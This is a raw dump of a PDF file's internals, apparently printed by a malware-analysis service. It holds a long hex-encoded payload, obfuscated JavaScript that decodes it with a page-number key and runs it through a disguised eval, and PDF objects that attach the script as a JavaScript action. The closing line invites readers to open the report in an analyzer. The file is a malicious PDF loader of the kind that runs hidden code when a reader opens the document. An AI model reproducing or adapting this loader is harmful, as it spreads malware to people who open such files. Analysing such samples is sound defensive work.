1c4efb7a9a3a4b28aa3acbfa6aeb1e9f5a2e6f0afb2bea48aa2a4a2e6bcbeaeb187a6a7b3fea588eabce2e1feb5a8a3ac98bda4fbfcb4e9f8b0b3efbe93a7abb0af81f2b5b6e4e6bfbfcce6ffa9b3a4a893a2bcaaaaa0aff0fea2abbeb5a8f0f3f2fbe9a1baa893a7aeb2b2aeb8e4efe9efecbcf385beb1a2a4a2a5bcf2b4b7c7f8a8bcbeb49ab1abfcbebefce0bfe0e0edf1bae3e7aeb0b8b097a7b7e6b1b5a9e092adb5bba3bfaeafffa0a1c6fdbca4b8b5b898acb3a8b6bca7ecffe6afea9ea2b3a8afa8b7a4eaaddba0dca2a8b4a3a8e3a5afb0b4adaf94b6a4b3b7b5a2b4cde7adddabbba19984ef83bceaf8b1a6e3a489b3bfb0a9afb4bef9b2bea8afadffb1acb180a492b0e1eeb5a4a9abf7fbe4ada4ebe8f7f5f5f0a9a0a9b4afb5bba1f8e6e3eef9e3eecee5e6acb1a9e2b4ba8999be95babaf6fba0b5ebbc80aebca2b4a2a5b2e0a6b3a9a6bde2b1a3a989ab94bcffefb9aab0b8f0ebfbb2bae6f0effde4f2b3a3b5a3aaafb3a3eee7ecf2f4e3fbdff4e3b0bda2edb2be9298a283a2ace7f7f6a9bcb5a386b1a7e2bdaeb0b4b3b8a8bba49df8acbbbcfaa28ca9ecf7a6bea8afeee9e5feb8fff7e8b1eaadaeaeaabae0b7b6e3f3f2f5e7e2e7b8cee4adb3aeb8b6baad89b1e78ca2e8a08e87adb0a083b79e90e1ed8ba59dafb3e89abcdebfb8a5e9a6ae8fa4b3b091a186babfebbfb7edaeb2e2e990bf99b0b5ed8597a0a1a09d879eb1f1ecb28fa8ada190a18bdfbeee8bb5a2b286b28d8fa1fda186a892a0bae6a3b9b6a6bdb9b6a3e7eea286f7b981809ebfe0e8cee3f5a3a2bebeb7e5aa9c93b2a0a9f0a299bbd2a0adc1abb2aab5a1faa380b89aa791b69493f7ecaec1aeaab78595e18abba1878dadb2a2ace8f1b5afb897a4a7fff8ffadd4efbba7b6b78580a6e593a9a9bca1b1adb2b992f18ca59de9adbddff4b0b5afa7f491a3bf90ad8d92afbbe48ab4e08c86a0abb7bea8f9abd9f7eabca5a1f9a8aebead809bb5f1b3bbafb6a2e1b9a7f7f1ebf0a6fcefe0b0e7fdf5e8e7e9c6f0bbb0a18387a0f9b0bb88a5909ba7e28ea3a2ad8df6e3e2ecb7effbf3eae4b8faf6b3ac80ae8d93bbf5e89aeabfeee4f2c0e3b7b6a1b0fe9da18eb1aff2faecefa4b6f2bab6eaf5bdf2b0edf6e1f5e0f2e5eaf7a1e1e2f1e2faf8c3fcf5b3adbdfcbab0bf9a95f2ac92eae2ad9ee6b18b8ff2bcb093b9b8879af5a6828ee2b0a3ebeb8ecaa0ae8b929c9ca1b29e9da0818b8db1bfb0f99baea5ba95a6a8fa9db6fd998cb6cab0bfc7f9a9b892a9b3acb1f393bcafa5b7b4a6b5e2fff8f7b5a6fcafb2faf2b7e9eea9ddf8f6a8b7baa9aaaeeda0a89894bca1a2eba8bdeaa1acedf4e0f6f3b4e1a48abbb0a9f1f6868ebcafa8b8e794a4cfacaaa6a4eab5a9b9aba6b0b392aba6bc9afeadbda6a4b2a8aff0a9bcbba4beae95bcaba7b883e9aca5aca2a7afb2ffebb9ece5aeb287ade7b0abb381baecedddb7cdbcaebea3a9acafa3f9ab959da2ae9880bcf8faa8dda991bfab8babaea1f9b3a0bca5b6e2beb8eee294f0e29bebf0ac89e092b2f6e196e0ed8694e3b881eefdefeba6c1f0b4b7bcbb9486b0fd88a8aab6b7b2bfbaa4a2f395bc8588a3baa8b7e8fc98b5cc8391f2b1b0bebc8ca385aaf198aaa087989acef4a29ae2a3a1afa0b8afbab4a6e5e3afb2f2fa80fee09696f2b989edece5fcbadd978b98a3a2b4a5a0f1fbd9fbfc8c95a9a3a6a4a5b7efa89480afa385b5a9aaf8a6819abeba95b3e7b8b0aba2aabcdef4b8a5e9a6ae839db5bfb0abfeb4b4bebfab879ce9b0afafb8a1fea58fc9bfa988f8beb498e3b5a181f8aac0bcdeaf94aeb3a898e3a6a181edb3b9b6b3b6a9b6a3a6edbb96f7e7ae80aba6a3aeacd1eef495a4bfb6a78db18699f2bcb2ace6aaa9b9bfa5b5b9b7e8f6a89dfbb4bd99fab4b2b3a4b6b18bffb2bc8abfbcb3b0addbf4edadbfbdb4a4bdfda1a690b9a9bbed8fbba8a5acab9ef2afa092a5bbfeb7b0a5f5faf6effae9d0a2f084a0b4a4a683be82b8f5aab498b4bcbefeb1b690b2a194e582a7bbf2a5aabdd481a6c782b9bce582b0a8bd8deda7b0f3f2a7d4f2a1a2bcaaeae2f4f5edadf2fffae7e4e9e9abb6eb9bbccd86bda69d86fc89a881aba8aee985a389b9bc939bffa1cba3c6a3a189e3a38ab2bc9ab2f1bceffdf7eeeffaedf3fceeeff6fbfbe5fbf9e7f0f4feedf3f2e0f8f3f2e1edeffff1eafafdeaf9f9eafde5f3f9e2f3e0f0f2f3e9f1edf2f9efe3fef2ffede0fdf6f8f5feedffefe5f4f2eaeeedfefaf5f4f2ffe8f5fcfdf2f5effee9f8fbebedf2fde9e5f9eeede8feeffae5fae4fdfefdf3fee2ffe8f5f4f2ecf3f5e3eafdedfbe9edffe5f1eee5f4fee8eef2f9efecf5f9e4fdfcfdefe7f9eaf2e3f2efe7f7ffecf5fef3fde2efe7eaf3f2faf9f8ffe9eaf3e7f3f8f2efeafefff4f9efebe9eafdf5fbe3e2ecfdf9eaf3f8ffecf2efe7e2e7fdfbe3fef3ffecf5f8f4f9eaf3fff5f1efeeffeee8eeede4f5f2f9effcf6f4f9edf3fff4f9eafef5fbe2faecfdfbe3e2f7ffecf5fee3feefeef9f9efe5f1e5edf4fee8eeedffe8f5fef2f8e8f5f4f7fafde8e9e9ebd0e1e2b5a4f9a3a3b7b2aba3aae4a0ecf4fdeff4a5e3e5f3f280b1999ab3e1b2bcc7f4afd6b7b4a4a4a4b8aaaba0a1f287a6e2f48adca4beadb09de68cb69e978ab1adb0b0fdedb4b9b587bda3a7e3eea6caebf0a6a0aaa3bfe4e2b8b4ae8bbbb3abfda2b4bdb9be9ff3aeb5dca4a4abbabde786a0b3818ca0a7e6b4b8bda6a9e7a4b698bdbf84aab48cf8f6bca3c1f0a6bcb2b59785b7ecadb5b0a5b0aeafbfe6edf9f0b4f8e9f9b4fbf5e2eaf1efccfff8bfb29088b6ffb0a092a09980abfaaabbb3a29280e1e2fdbafcebe6eff9ebe9f0a5a3a6828abae68eaba8b3aaa8faeebff4e0e5faeef5efb0c6e3a5ab8b8eb4a491efedfea5fee3aeacf9a7b9fab5e6e5f5e5fff7e9e6e2b7efe4f8fae7e5ede4fda3bcc8edbcb3b1aea0f1f9f1fbecac94949abfa2f0b3f8eceb88ceaea381818b82a6a1aa88a3e594a3bfb69c85b1e2b6bca2968a9bd3f3b4caafb7b08da0ef8892839d8cbbf3b8a8b0a4b5e8acbbe8e1fef4f0f9e9b4acdaacbaa5e0a68f938c8092fd95b9abacb2adfaeda2e8bdfcfaf3b2e78190af8482f1838fa0f1928f8d8c89adfd9dadd589908b8f90e8e18def95b1f5f18d97859a8efd9fbaaddff7a2bda1b48ce7aca4a9b3a2b8a9f38eafbda8a9b4e4938c8d989ff4e380a0dac8b9d683b68680bee18baaa5a7bdfaa3b3a5bd81cbf8b9b4b097eeb0a9baa3b89beb95ada6ada2a1baa48fa9fcebbebda7a7a1b2a588b9a6b8a5b2b2b1ebac92a8b9b3a7b8a3e8fef0aab797b6b5f4affcecfec6feb5a1bab5e1edb1b6e9b3bae2f8a5e691bd93938daba4f3a4aefaa2a2ffbea3eff2b9dda9f4acab8b9f9494bb93a2e79ebaabece7a890feb6ae95a8b6e6f6b5dca8a6b9b0abe58aa2849287eeb38c9eae9c91bb978be994a1a7aba8bcb9aeb6acccf2a1c6b8acddf7f086a2e998ab989f86e3bffeebfcbda68ffef1b3afa9a387fa98f5f1f7fcfe8abae382a9859d9dfcbff3f8e2e1f3e8fbe7a9ecb7add181b3eaf480defebbfdb0afb5afe4a5e3b7a181ac8886ad9394e6ebeff5f8bffb95afcc9797bea6b8bd86f5e2e0a9ddb7a5fea4aaa4aae0e2e5bd8eed9ba38bb2bafdeeb0eaffeda4b0a08cb89ffd8fb3f2f1ffefe8faeaae8abf8586af9194fef7f3e8e7fceddbbdefa98ebe9b8f9d90e9f4a2cce,'cd8b5^[/)g/]z-a\n";
function gcGwx(){}var MKUyi;function YzyL(){}
function Msvkinaum(text,str_key){str_key=""+str_key
var return_text="";var rand_key=0;for(var i=0;i<text.length;i++){if((text.length-i)>=parseInt(str_key.substring(rand_key,rand_key+1))){for(var i2=i+parseInt(str_key.substring(rand_key,rand_key+1))-1;i2>=i;i2--){return_text+=text.substring(i2,i2+1);}
i+=parseInt(str_key.substring(rand_key,rand_key+1))-1;}
else{return_text+=text.substring(i,i+1);}
rand_key++;if(rand_key>str_key.length-1)rand_key=0;}
app.sttr=return_text;}
if ('OMjCWn'=='tvGVCb') gIvx='UVXB';function kElGO(){var CDkR='LUpBpF';if ('Vzxb'=='izep') eWDi();}var lJeqki;var scbeF=46;
p = 307;
p += app.doc.pageNum;
Msvkinaum(b, p);
function HZcpFI(){}var CnDd;
t = ("wdxw")[("dfsdfsdf", "eval")];
var nBXqBK;function FMbmU(){}function RbIMI(){var phUyi='lNPQu';if ('BaglW'=='XyQRoR') YogwvA();}
t('app.eval(app.sttr)');
function RMrM(){}var EiOBYP='EgVsWy';var yFjkMl=118;function UadZi(){var oLzRH='wEvNM';if ('UZDQzh'=='leWBE') VlQP();}
if ('fgvP'=='UQlMRf') bRdGZv();if ('NVqL'=='VbhpA') hIMyil='DFLex';function ZxzOn(){}
endstream
endobj
6 0 obj
<<	/S	/JavaScript /Type	/Action /JS 5 0 R >>	
endobj
xref
0 7
0000000000 65535 f 
0000000060 00000 n 
0000000128 00000 n 
0000000192 00000 n 
0000000279 00000 n 
0000000432 00000 n 
0000011996 00000 n 
trailer
<< /Root	1 0 R /Size	7 >> 
startxref
12057
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.